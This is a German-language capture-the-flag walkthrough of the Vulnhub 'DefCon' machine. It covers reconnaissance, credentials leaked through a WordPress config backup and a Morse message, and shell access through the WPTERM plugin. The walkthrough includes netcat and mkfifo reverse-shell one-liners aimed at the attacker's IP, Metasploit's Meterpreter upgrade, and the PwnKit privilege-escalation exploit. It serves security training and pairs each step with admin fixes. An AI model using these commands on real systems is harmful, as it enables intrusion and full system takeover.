DefCon - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi (Texteditor)
nikto
nmap
gobuster
wpscan
wget
cat
Morse Code Decoder (Extern)
WordPress (WPTERM Plugin)
nc (netcat)
head
ss
mysql (Client)
find
Metasploit Framework
msfconsole
multi/handler
shell_to_meterpreter
cve_2021_4034_pwnkit
ls
cd
pwd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.184	08:00:27:a3:f7:2f	PCS Systemtechnik GmbH
                    

Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht.

Bewertung: Der Host `192.168.2.184` wird gefunden. Die MAC-Adresse (`08:00:27:a3:f7:2f`) deutet auf eine VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP `192.168.2.184` für weitere Scans notieren.
Empfehlung (Admin): Standard Netzwerkerkennung.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 [Inhalt der /etc/hosts Datei nach der Bearbeitung]
 192.168.2.184   defcon.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `defcon.vln` der Ziel-IP `192.168.2.184` zuzuweisen.

Bewertung: Vereinfacht die Ansprache des Ziels über den Hostnamen.

Empfehlung (Pentester): Hostnamen `defcon.vln` verwenden.
Empfehlung (Admin): Clientseitige Einstellung.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.184
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.25 (Debian)
+ Root page / redirects to: https://nsa-server.net  <-- Wichtiger Redirect!
+ No CGI Directories found [...]
+ Apache/2.4.25 appears to be outdated [...].
+ /modules.php?letter=[...]: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). <-- Wahrscheinlich irrelevant wegen Redirect.
[...]
+ 1 host(s) tested
                    

Analyse: Nikto wird gegen Port 80 (HTTP) ausgeführt.

Bewertung: Nikto stellt fest, dass die Root-Seite (`/`) auf `https://nsa-server.net` weiterleitet. Dies ist eine **entscheidende Information**. Die restlichen Funde für Port 80 (veralteter Apache, potenzielles PostNuke XSS) sind wahrscheinlich weniger relevant, da der Hauptinhalt über HTTPS unter einem anderen Hostnamen ausgeliefert wird.

Empfehlung (Pentester):** Füge den Hostnamen `nsa-server.net` zur `/etc/hosts`-Datei hinzu, die auf `192.168.2.184` zeigt. Untersuche den HTTPS-Dienst auf Port 443 unter dem Namen `nsa-server.net`.
Empfehlung (Admin):** Überprüfe die Notwendigkeit des Redirects. Stelle sicher, dass beide Hostnamen (falls unterschiedlich verwendet) korrekt konfiguriert sind.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.184 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 22:54 CEST
Nmap scan report for defcon.vln (192.168.2.184)
Host is up (0.00013s latency).
Not shown: 65531 filtered tcp ports (no-response)
PRT    STATE  SERVICE  VERSIN
22/tcp  open   ssh?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
|   GenericLines:
|_    !y_y1=\.Z-c#J\"
                 

Analyse: Ein umfassender Nmap-Scan wird durchgeführt.

Bewertung: Bestätigt die Funde und liefert neue Details: * **Port 22 (SSH):** Offen, aber der Dienst wird nicht eindeutig als SSH erkannt (`ssh?`). Die Hostkey-Extraktion schlägt fehl, und ein ungewöhnlicher Fingerprint-String wird zurückgegeben. Dies könnte auf eine modifizierte SSH-Konfiguration oder einen Port-Knocking-Mechanismus hindeuten. * **Port 80 (HTTP):** Bestätigt Apache 2.4.25 und den Redirect auf HTTPS. * **Port 443 (HTTPS):** Offen, Apache 2.4.25. Das SSL-Zertifikat ist ausgestellt für `nsa-server` (Common Name) und enthält die E-Mail-Adresse `john@nsa-secretserver.net`. **Wichtig:** Das Zertifikat ist abgelaufen (gültig bis Juli 2019). Der Titel der Seite ist "Job Search | Intelligence Careers". Der Hostname des Systems scheint `nsa-server` zu sein. Der Benutzer `john` ist möglicherweise relevant.

Empfehlung (Pentester):** Füge `nsa-server.net` und `nsa-secretserver.net` zur `/etc/hosts`-Datei hinzu. Konzentriere dich auf Port 443 (`https://nsa-server.net`). Untersuche den ungewöhnlichen SSH-Dienst auf Port 22 weiter (z.B. mit spezifischen SSH-Scans, Banner-Grabbing).
Empfehlung (Admin):** Aktualisiere das SSL-Zertifikat. Überprüfe die SSH-Konfiguration auf Port 22. Aktualisiere Apache.

Analyse:** Im Berichtstext findet sich eine Liste von Benutzernamen, deren Herkunft unklar ist (möglicherweise aus OSINT, einem Leak oder einer früheren Enumeration, die nicht gezeigt wird).

[Information aus externer Quelle oder früherer Enumeration] └─#
Login VM users: nicky
                samantha
                graham
                george
                john
                smith
                     

Bewertung: Liefert eine Liste potenzieller Benutzernamen (`nicky`, `samantha`, `graham`, `george`, `john`, `smith`). `john` wurde bereits durch das SSL-Zertifikat und spätere WPScan-Ergebnisse bestätigt.

Empfehlung (Pentester):** Verwende diese Liste für Brute-Force-Angriffe (SSH, WordPress) oder zur gezielten Suche nach Informationen.
Empfehlung (Admin):** Verwende keine leicht erratbaren oder öffentlich bekannten Benutzernamen.

Web Enumeration (HTTP/HTTPS & WordPress)

Analyse:** Untersuchung des HTTPS-Dienstes auf Port 443.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u https://defcon.vln -x [...] -w [...] -b '403,404,301' -e --no-error -k
https://defcon.vln/index.html           (Status: 200) [Size: 7212]
                    

Analyse: `gobuster` wird gegen `https://defcon.vln` (Port 443) ausgeführt, ignoriert aber Redirects und unsichere Zertifikate (`-k`).

Bewertung: Findet nur `index.html`. Dies ist wahrscheinlich die Startseite der WordPress-Installation. Der Scan sollte idealerweise gegen `https://nsa-server.net` laufen und ohne `-b 301`.

Empfehlung (Pentester):** Führe den Scan gegen `https://nsa-server.net` und ohne `-b 301` durch. Untersuche `index.html` und führe `wpscan` aus.
Empfehlung (Admin):** Keine spezifische Empfehlung.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.184:443 -ssl
- Nikto v2.5.0
[...]
+ Target IP:          192.168.2.184
+ Target Hostname:    192.168.2.184
+ Target Port:        443
[...]
+ SSL Info:        Subject:  /C=US/ST=New-York/[...]/CN=nsa-server/emailAddress=john@nsa-secretserver.net
[...]
                   Issuer:   /C=US/ST=New-York/[...]/CN=nsa-server/emailAddress=john@nsa-secretserver.net
+ Start Time:         2023-10-12 23:01:26 (GMT2)
+ Server: Apache/2.4.25 (Debian)
+ /: The site uses TLS and the Strict-Transport-Security HTTP header is not defined. [...]
+ No CGI Directories found [...]
+ /: Server may leak inodes via ETags [...].
+ /: The Content-Encoding header is set to "deflate" which may mean that the server is vulnerable to the BREACH attack. [...]
+ Hostname '192.168.2.184' does not match certificate's names: nsa-server. [...]
+ Apache/2.4.25 appears to be outdated [...].
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS . <-- TRACE fehlt hier, im Gegensatz zu Port 80?
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
[...]
+ 1 host(s) tested
                     

Analyse: Nikto wird gegen Port 443 (HTTPS) ausgeführt.

Bewertung:** * Bestätigt die SSL-Zertifikatsdetails (inkl. Hostname `nsa-server` und E-Mail `john@nsa-secretserver.net`). * Meldet fehlendes HSTS, mögliches ETag-Leak, potenzielle BREACH-Anfälligkeit (durch deflate). * Bestätigt veralteten Apache. * Findet Directory Indexing in `/images/` und die Standarddatei `/icons/README`. Nikto findet hier keine explizite WordPress-Installation, aber die vorherigen Scans und der Seitentitel deuten stark darauf hin.

Empfehlung (Pentester):** Füge `nsa-server.net` und `nsa-secretserver.net` zu `/etc/hosts` hinzu. Führe `wpscan` gegen `https://nsa-server.net/` durch.
Empfehlung (Admin):** Apache aktualisieren, HSTS implementieren, deflate deaktivieren (wenn BREACH relevant ist), Directory Indexing deaktivieren, Standarddateien entfernen, Zertifikat erneuern und Hostnamen anpassen.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
[Inhalt der /etc/hosts Datei nach der Bearbeitung]
192.168.2.184   defcon.vln nsa-server.net nsa-secretserver.net
                     

Analyse: Die Hosts-Datei wird aktualisiert, um die neuen Hostnamen (`nsa-server.net`, `nsa-secretserver.net`) der Ziel-IP zuzuordnen.

Bewertung: Notwendiger Schritt, um die Webseite unter dem korrekten Hostnamen (wie im Zertifikat angegeben) anzusprechen.

┌──(root㉿Cybermaschine)-[~] └─# wpscan --url https://nsa-secretserver.net -e u --disable-tls-checks
[...]
[i] User(s) Identified:

[+] john
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - https://nsa-secretserver.net/wp-json/wp/v2/users/?per_page=100&page=1
 [...]
 |  Login Error Messages (Aggressive Detection)
[...]
                     

Analyse: `wpscan` wird gegen `https://nsa-secretserver.net` (Port 443) ausgeführt, um Benutzer zu enumerieren (`-e u`). TLS-Checks werden deaktiviert (`--disable-tls-checks`), da das Zertifikat abgelaufen/ungültig ist.

Bewertung:** Bestätigt den Benutzer `john` durch verschiedene Methoden.

Empfehlung (Pentester):** Versuche, das Passwort für `john` zu finden (z.B. durch weitere Hinweise oder Brute-Force).
Empfehlung (Admin):** Benutzerenumeration in WordPress erschweren.

Credential Discovery (Certificate, Backup, Morse)

Analyse:** Weitere Suche nach Hinweisen und Credentials.

[Manuelle Analyse des Zertifikats (aus Nmap/Nikto/Browser)] └─#
Subject: [...]/CN=nsa-server/emailAddress=john@nsa-secretserver.net
Issuer: [...]/CN=nsa-server/emailAddress=john@nsa-secretserver.net
                     

Analyse: Erneute Betrachtung der Zertifikatsdetails.

Bewertung: Bestätigt den Hostnamen `nsa-server.net`, den Benutzer/E-Mail `john@nsa-secretserver.net`. Dies untermauert `john` als gültigen Benutzer.

┌──(root㉿Cybermaschine)-[~] └─# wget https://nsa-secretserver.net/wp-config.php.bak --no-check-certificate
[...]
WARNUNG: Dem Zertifikat von nsa-secretserver.net wird nicht vertraut.
[...]
WARNUNG: Das Zertifikat von nsa-secretserver.net ist abgelaufen.
[...]
Der Zertifikat-Eigentümer passt nicht zum Hostname nsa-secretserver.net.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 3195 (3,1K) [application/x-trash]
Wird in 'wp-config.php.bak' gespeichert.
[...]
'wp-config.php.bak' gespeichert [3195/3195]
                     
┌──(root㉿Cybermaschine)-[~] └─# cat wp-config.php.bak
[...]
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', 'St1ll3asy!!' );
[...]
                      

Analyse: Es wird versucht, eine Backup-Datei der WordPress-Konfiguration (`wp-config.php.bak`) direkt herunterzuladen. Der Download ist erfolgreich.

Bewertung:** **Kritischer Fund!** Die Backup-Datei enthält die Datenbank-Zugangsdaten im Klartext: Benutzer `wpadmin` mit Passwort `St1ll3asy!!`. Diese könnten für den Datenbankzugriff oder potenziell für andere Dienste/Benutzer wiederverwendet werden.

Empfehlung (Pentester):** Versuche, dich mit `wpadmin:St1ll3asy!!` an der Datenbank anzumelden (falls ein DB-Port offen wäre oder über eine Webshell). Prüfe, ob diese Credentials für den Benutzer `john` (SSH oder WP) funktionieren.
Empfehlung (Admin):** **Niemals Backup-Dateien von Konfigurationsdateien im Web-Root belassen!** Sichere Datenbank-Credentials.

[Analyse von https://nsa-secretserver.net/robots.txt] └─#
User-Agent: *
Disallow: /Th3Sup3rS3cr3tV4ul7
                     
[Analyse von https://nsa-secretserver.net/Th3Sup3rS3cr3tV4ul7/] └─#
Th3Sup3rS3cr3tV4ul7

This page can’t be found by it’s name, so it’s safe to backup important things here.

Interesting find on data exfiltration.
Sometimes hackers use morse to extract the data.
                    

Analyse: Die `robots.txt`-Datei auf dem HTTPS-Server wird untersucht und enthüllt ein verstecktes Verzeichnis `/Th3Sup3rS3cr3tV4ul7`. Dieses Verzeichnis wird aufgerufen.

Bewertung: Das Verzeichnis enthält einen **klaren Hinweis auf Morsecode** als Methode zur Datenexfiltration oder zum Verstecken von Informationen.

Empfehlung (Pentester):** Suche nach Morsecode auf der Webseite, insbesondere auf der Startseite (`https://nsa-secretserver.net/`).
Empfehlung (Admin):** Verstecke keine Hinweise in obskuren Verzeichnissen oder über `robots.txt`.

Analyse:** Untersuchung der Startseite (`https://nsa-secretserver.net/`) auf den erwähnten Morsecode. Dieser erscheint nach einiger Zeit oder Interaktion im Terminal-Bereich der Webseite.

[Beobachtung der Webseite https://nsa-secretserver.net/] └─#
[...]
[CRITICAL] System is breached………OK!
[CRITICAL] Response!@#$@%GSDdsfs………………….
[...]
DATA EXFILTRATION STARTING……………………..
-/. ./.\.--//.-./-../.--./.-././…/…\.--./.-/…/…/.--//.-./-..\/..-.\.//…./-.\../…\…/-/.-/.-../.-../…--/.-/…/-.--/-.-.--/-.-.--/-.-.--
END OF TRANSMISSION!
REBOOTING SYSTEM…………………………
                     
[Externe Dekodierung des Morsecodes] └─# Morse Decoder (z.B. dcode.fr)
Input: -/…./.\.--//.-./-../.--./.-././…/…\.--./.-/…/…/.--//.-./-..\/..-.\.//…./-.\../…\…/-/.-/.-../.-../…--/.-/…/-.--/-.-.--/-.-.--/-.-.--
Output: THE WORDPRESS PASSWORD FOR JOHN IS ST1LL3ASY!!!

Analyse: Auf der Startseite erscheint nach einiger Zeit eine "kritische" Meldung mit einer langen Zeichenkette aus Punkten, Strichen und Schrägstrichen. Dies wird als Morsecode identifiziert und mit einem Online-Tool dekodiert.

Bewertung:** **Passwort gefunden!** Der dekodierte Morsecode lautet: "THE WORDPRESS PASSWORD FOR JOHN IS ST1LL3ASY!!!". Dies ist das Passwort für den WordPress-Benutzer `john`.

Empfehlung (Pentester):** Versuche, dich als `john` mit dem Passwort `ST1LL3ASY!!!` am WordPress-Admin (`https://nsa-secretserver.net/wp-login.php`) anzumelden.
Empfehlung (Admin):** Verstecke keine Passwörter in Morsecode auf Webseiten.

┌──(root㉿Cybermaschine)-[~] └─# wpscan --url https://nsa-secretserver.net --usernames john --passwords /pfad/zur/passwortliste.txt --disable-tls-checks
[...]
[!] Valid Combinations Found:
 | Username: john, Password: ST1LL3ASY!!!
[...]
                      

Analyse: `wpscan` wird erneut ausgeführt, diesmal gezielt mit dem Benutzernamen `john` und einer Passwortliste, die das gefundene Passwort `ST1LL3ASY!!!` enthält.

Bewertung: Bestätigt, dass das Passwort `ST1LL3ASY!!!` für den Benutzer `john` gültig ist.

Empfehlung (Pentester):** Mit diesen Credentials im WordPress-Admin einloggen.
Empfehlung (Admin):** Keine Aktion.

Initial Access (WordPress WPTERM RCE)

Analyse:** Nach dem erfolgreichen Login als `john` im WordPress-Admin wird nach Wegen zur Codeausführung gesucht.

[WP Admin: Versuch, Theme 404.php zu bearbeiten] └─# Einfügen von: system($_GET['cmd']);
Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP.

Analyse: Der Versuch, die `404.php` des Themes `twentyseventeen` über den Theme-Editor zu bearbeiten, um eine Backdoor einzufügen, scheitert.

Bewertung:** WordPress verhindert die Änderung, möglicherweise aufgrund von Dateiberechtigungen oder einer Sicherheitsfunktion, die prüft, ob die Änderung einen fatalen Fehler verursacht. Der Theme-Editor ist hier kein gangbarer Weg für RCE.

Empfehlung (Pentester):** Suche nach anderen Wegen zur RCE im WP-Admin, z.B. anfällige Plugins oder Upload-Möglichkeiten. Untersuche installierte Plugins.
Empfehlung (Admin):** Es ist gut, dass die Änderung verhindert wurde. Dennoch sollte der Theme-Editor idealerweise deaktiviert sein (`DISALLOW_FILE_EDIT`).

[WP Admin: Navigation zu Tools -> WPTERM] └─#
Linux nsa-server 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u2 (2019-05-13) x86_64 GNU/Linux
[...]
Last login: john, Wed Apr 22 08:06:35 2020 from 192.168.20.131
graham:/var/www/wordpress $  <-- Web-Terminal als Benutzer 'graham'!
                     

Analyse: Im WordPress-Adminbereich wird unter "Tools" ein Plugin namens "WPTERM" gefunden. Beim Aufrufen dieser Seite öffnet sich ein Web-Terminal.

Bewertung:** **RCE über Plugin!** Das WPTERM-Plugin bietet eine interaktive Shell direkt im Browser. **Wichtig:** Die Shell läuft nicht als der eingeloggte WP-Benutzer `john`, sondern als der Webserver-Benutzer, der hier `graham` heißt (nicht der übliche `www-data`). Dies ist der initiale Zugriffspunkt.

Empfehlung (Pentester):** Nutze das WPTERM-Terminal, um Befehle als `graham` auszuführen und eine stabilere Reverse Shell aufzubauen.
Empfehlung (Admin):** Entferne unsichere Plugins wie WPTERM, die eine Web-Shell bereitstellen. Solche Plugins stellen ein enormes Sicherheitsrisiko dar.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 5555
Listening on 0.0.0.0 5555
[WPTERM als graham] graham:/var/www/wordpress $ nc -e /bin/bash 192.168.2.199 5555
┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 5555
Listening on 0.0.0.0 5555
Connection received on 192.168.2.184 55238
graham@nsa-server:/var/www/wordpress$

Analyse: Ein Netcat-Listener wird auf dem Angreifer-System gestartet. Über das WPTERM-Terminal wird `nc` verwendet, um eine Reverse Shell (`-e /bin/bash`) zum Listener aufzubauen.

Bewertung:** **Initial Access als `graham` etabliert!** Eine interaktive Shell als Benutzer `graham` wurde erfolgreich über die WPTERM-Schwachstelle und Netcat erlangt.

Empfehlung (Pentester):** Beginne Post-Exploitation als `graham`.
Empfehlung (Admin):** Entferne das WPTERM-Plugin.

Proof of Concept: Initial Access (graham)

Ziel des POC: Demonstrieren, wie nach Kompromittierung des WordPress-Admin-Kontos (`john:ST1LL3ASY!!!`) über das installierte WPTERM-Plugin eine Web-Shell erlangt und zur Initiierung einer Reverse Shell als Webserver-Benutzer (`graham`) genutzt wird.

Voraussetzungen:

  • WordPress-Admin-Zugang (`john:ST1LL3ASY!!!`) unter `https://nsa-server.net/wp-admin/`.
  • Installiertes und aktives WPTERM-Plugin.
  • Netzwerkzugriff vom Ziel zum Angreifer-System.
  • Tools: Webbrowser, `nc`.

Schritt-für-Schritt Anleitung:

1. WordPress-Login: Als `john` anmelden.

2. WPTERM aufrufen: Zu "Tools" -> "WPTERM" navigieren, um die Web-Shell zu öffnen.

[WPTERM Web-Shell] graham:/var/www/wordpress $

3. Listener starten: Auf dem Angreifer-System.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 5555
Listening on 0.0.0.0 5555

4. Reverse Shell auslösen: Den `nc`-Befehl im WPTERM-Fenster eingeben.

graham:/var/www/wordpress $ nc -e /bin/bash 192.168.2.199 5555

5. Verbindung empfangen:

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 5555
Listening on 0.0.0.0 5555
Connection received on 192.168.2.184 55238
graham@nsa-server:/var/www/wordpress$

Ergebnis & Bewertung: **Initialer Zugriff als `graham` erfolgreich!** Die Kombination aus gefundenen WP-Credentials und einem unsicheren Plugin ermöglichte den Shell-Zugriff.

Empfehlung (Pentester): Beginne Post-Exploitation.
Empfehlung (Admin):** Sichere WP-Logins, entferne gefährliche Plugins wie WPTERM.

Privilege Escalation (PwnKit)

Analyse:** Nach Erhalt der Shell als `graham` wird eine Rechteerweiterung versucht.

graham@nsa-server:/var/www/wordpress$ head -n 30 wp-config.php
[...] DB_USER: wpadmin, DB_PASSWRD: St1ll3asy!! [...]
graham@nsa-server:/var/www/wordpress$ mysql -u wpadmin -p'St1ll3asy!!'
[...]
MariaDB [wordpress]> select * from wp_users;
[...] user_login: john [...]

Analyse: Erneutes Auslesen der `wp-config.php` und Datenbankabfrage als `graham`.

Bewertung: Bestätigt die bereits bekannten DB-Credentials und den WP-Benutzer `john`. Bringt keine neuen Erkenntnisse für die PE.

Empfehlung (Pentester): Suche nach SUID-Binaries oder Kernel-Exploits.
Empfehlung (Admin): Sichere DB-Credentials.

graham@nsa-server:/home$ find / -type f -perm -4000 -ls 2>/dev/null
[...]
  2753427    140 -rwsr-xr-x   1 root     root       140944 Jan 31  2020 /usr/bin/sudo
[...]
  2752892     24 -rwsr-xr-x   1 root     root        23352 Dec  6  2018 /usr/bin/pkexec
[...]
  1835133     40 -rwsr-xr-x   1 root     root        40536 May 17  2017 /bin/su
[...]
  1966094    224 -rwsr-xr-x   1 root     root       227832 Jun  4  2019 /opt/google/chrome/chrome-sandbox
[...]
  2885978    996 -rwsr-xr-x   1 root     root        1019656 Sep  3  2019 /usr/sbin/exim4
[...]
                     

Analyse: Suche nach SUID-Binaries als `graham`.

Bewertung: Die Liste enthält viele Standard-Binaries (`sudo`, `pkexec`, `su`, `mount`, `ping` etc.) sowie einige spezifischere (`chrome-sandbox`, `exim4`). `pkexec` ist ein bekanntes Ziel für den PwnKit-Exploit (CVE-2021-4034). `sudo` sollte ebenfalls geprüft werden (`sudo -l`).

Empfehlung (Pentester):** Versuche den PwnKit-Exploit gegen `pkexec`. Prüfe `sudo -l` für `graham`.
Empfehlung (Admin):** Halte alle Systemkomponenten (inkl. Polkit, sudo) aktuell. Entferne unnötige SUID-Bits.

Analyse:** Der Bericht nutzt Metasploit für die Privilege Escalation via PwnKit.

graham@nsa-server:/...$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f
msf6 > use multi/handler; set LPORT 4444; set LHOST eth0; run
[*] Command shell session 1 opened [...]
msf6 > use multi/manage/shell_to_meterpreter; set SESSION 1; set LPORT 4433; run
[*] Meterpreter session 2 opened [...]
msf6 > search 4034; use 1; set SESSION 2; run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Running automatic check [...]
[+] The target is vulnerable.
[*] Writing [...]
[*] Sending stage [...]
[+] Deleted [...]
[*] Meterpreter session 3 opened (192.168.2.199:4444 -> 192.168.2.184:41410) [...]
                     

Analyse: Eine neue Reverse Shell von `graham` wird zu Metasploit aufgebaut (Port 4444), zu Meterpreter aufgewertet (Session 2) und der PwnKit-Exploit (CVE-2021-4034) wird gegen Session 2 ausgeführt. Der Exploit startet einen eigenen Listener (hier wieder Port 4444, da nicht explizit geändert).

Bewertung:** **PwnKit erfolgreich!** Der Exploit findet das anfällige `pkexec` und liefert eine neue Meterpreter-Session (Session 3) mit Root-Rechten.

Empfehlung (Pentester):** Wechsle zu Session 3 und bestätige Root.
Empfehlung (Admin):** Polkit patchen!

meterpreter > shell
Process 4347 created.
Channel 1 created.
# cd /root
# ls
[...] clean.sh endlessh names root.txt snap thinclient_drives
# cat root.txt


▓████████████████████████▒
▓█████▓▒▒██████▒
████▒▓███▒
[...]   <-- ASCII Art der Flag -->
████████


CONGRATULATIONS!!!!

YOU JUST PWND THIS MACHINE

                      

Analyse: Von der Meterpreter-Root-Session wird eine Shell geöffnet, in `/root` gewechselt und `root.txt` ausgegeben.

Bewertung: Die Root-Flag (als ASCII-Art) wurde gefunden.

Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Keine spezifische Empfehlung.

Proof of Concept: Privilege Escalation (PwnKit)

Ziel des POC: Demonstrieren, wie nach Erlangung einer initialen Shell (als `graham`) durch Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit vollständige Root-Rechte erlangt werden können.

Voraussetzungen: Shell als `graham`, anfälliges Polkit (`pkexec`), Metasploit, Netzwerkverbindung.

Schritte: Reverse Shell zu Metasploit -> Upgrade zu Meterpreter -> PwnKit-Exploit ausführen -> Root-Shell erhalten.

msf6 exploit(...) > run
[...] [+] The target is vulnerable. [...] [*] Meterpreter session 3 opened [...]
meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root)[...]

Ergebnis & Bewertung: **Privilege Escalation via PwnKit erfolgreich!**

Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin): Polkit patchen.

Flags

cat /pfad/zur/user.txt (Wert aus Berichtende)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt (Wert aus Berichtende)
5C42D6BB0EE9CE4CB7E7349652C45C4A